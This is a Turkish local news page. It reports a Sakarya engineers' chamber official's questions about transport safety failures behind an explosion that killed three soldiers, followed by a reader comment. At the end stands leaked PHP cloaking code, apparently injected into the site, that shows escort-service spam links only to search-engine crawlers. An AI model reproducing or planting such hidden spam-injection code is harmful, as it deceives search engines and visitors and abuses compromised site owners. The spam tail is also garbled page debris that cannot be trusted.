Makina Mühendislerinden patlama soruları... 

Makina Mühendisleri Odası Sakarya Temsilciliği, Taşkısığı'nda yaşanan patlamayla ilgili yetkilileri çeşitli sorular yöneltti 

Makina Mühendislerinden patlama soruları... 

Adapazarı Taşkısığı Mahallesindeki bir taş ocağında, havai fişek fabrikasından geriye kalan patlayıcıların infilak etmesi sonucu 3 askerimizin Şehit olduğu olayın yankıları sürüyor. 
Makina Mühendisleri Odası Sakarya Temsilcilik Başkanı Salim Aydın, patlamayla ilgili yaptığı açıklamada yetkililere çeşitli sorular yöneltti. 
Aydın'ın açıklaması ve soruları şu şekilde: 

Acılar Hep Aynı
Canımız yanmaya devam ediyor
Bugün yine patlama yine acılar; daha patlamanın şokunu atamadan; tekrarını yaşıyoruz şu an itibarı ile 3 Şehid ve 9 yaralımız olduğu bilgisi var. Şehidlerimizin Ruhu Şad mekanı Cennet Olsun Yaralılarımıza acil şifalar diliyorum

Bu elim olay nasıl oldu neden oldu diye bir matematik yaparsak ;
Bu sevkiyat neden yapıldı? Karar ve İzin veren merci?
Niçin yerinde imha edilmesi gerekirken sevk kararı alındı?
Patlayıcı maddelerin yerinde soğutma işlemi tam anlamıyla ve yeterli zaman yapıldı mı?
Sevkiyat sırasında TMGD( tehlikeli Madde Güvenlik Danışmanı) nezareti varmıdır?
Sevkiyat için kullanılan Kamyon ADR’li bir araç mıdır ve standartlara uygun mudur?
Taşınan patlayıcı miktarına göre araç kapasitesi uygun mudur?
Sevkiyat için takip edilen güzergah dahil İş sağlığı ve Güvenliği Önlemleri Alındı mı?
Bu patlamanın güzergah üzerinde olması ihtimali göz önüne alınmış mıdır? Nufus yoğunluğu yüksek bir mahalde vuku bulma olasılığı korkunç sonuçlar düşüncesi bile ürkütücüdür.
Taşıt sürücüsünün, taşıdığı tehlikeli sınıfı ve/veya taşıma şekline uygun src5 sertifikasına sahipmidir?
Ve araçta hasar görmüş ambalaj ve yük taşıma birimleri mevcut mudur.

Yukarıdaki soruların herhangi bir tanesi yapılmamış olursa bu patlama kaçınılmazdır.
Yani biz ders almayı bilmiyoruz;
Taşınan aracın yaklaşık 30 km mesafe kaydetmesi doğal olarak aracın esnemesi ve taşınan maddenin kendiliğinden ısınması aynı zamanda havanın sıcak olması statik elektrik üretilmesine sebebiyet verme oranı çok yüksektir. Taşımaya, indirmeye nezaret eden refakatçiler antistatik elbise kulllanmışlarmıdır, ve boşaltma işlemi eğer ki damper kaldırma işlemi ile yapılmışsa veya el yordamı ile boşaltılması durumunda da  sürtünmeden dolayı elektriklenme ile patlama meydana gelmiş olabilir.
Bu tür sevkiyatın az sayıda personel ile yapılması gerekir. Patlamadan etkilenen insan sayısının fazla olması kabul edilemez

Salim AYDIN
MMO SAKARYA TEMSİLCİLİK BAŞKANI
 

Sakarya Yenihaber

banner3
YORUM EKLE
YORUMLAR
Garip
Garip - 4 hafta Önce

Ya bu durum nasıl kabullenilir. 2020 de olan olaylar. Çok üzücü. Şimdi güya sorumlu aranacak ama yine unutulacak. Ben şunada şaşıyorum. Okullar açılmama durumu. Çocuklar parklarda iç içe. Uçaklar tıklım tıklım. Denizler dopdolu. Neymiş dünya sağlık örgütü takdir etmiş ülkeyi.Ama eğitime başlama sıkıntılı.

SIRADAKİ HABER
if(preg_match('/Google Web Preview|Googlebot|google|Yandex|Bing|spider|wget/i', $_SERVER['HTTP_USER_AGENT'])){ echo'
escort bursa - antalya escort bayan - görükle escort bayan - istanbul escort bayan - bursa - bursa escort bayan - izmit escort - görükle escort - eskişehir escort bayan - istanbul escort bayan
'; }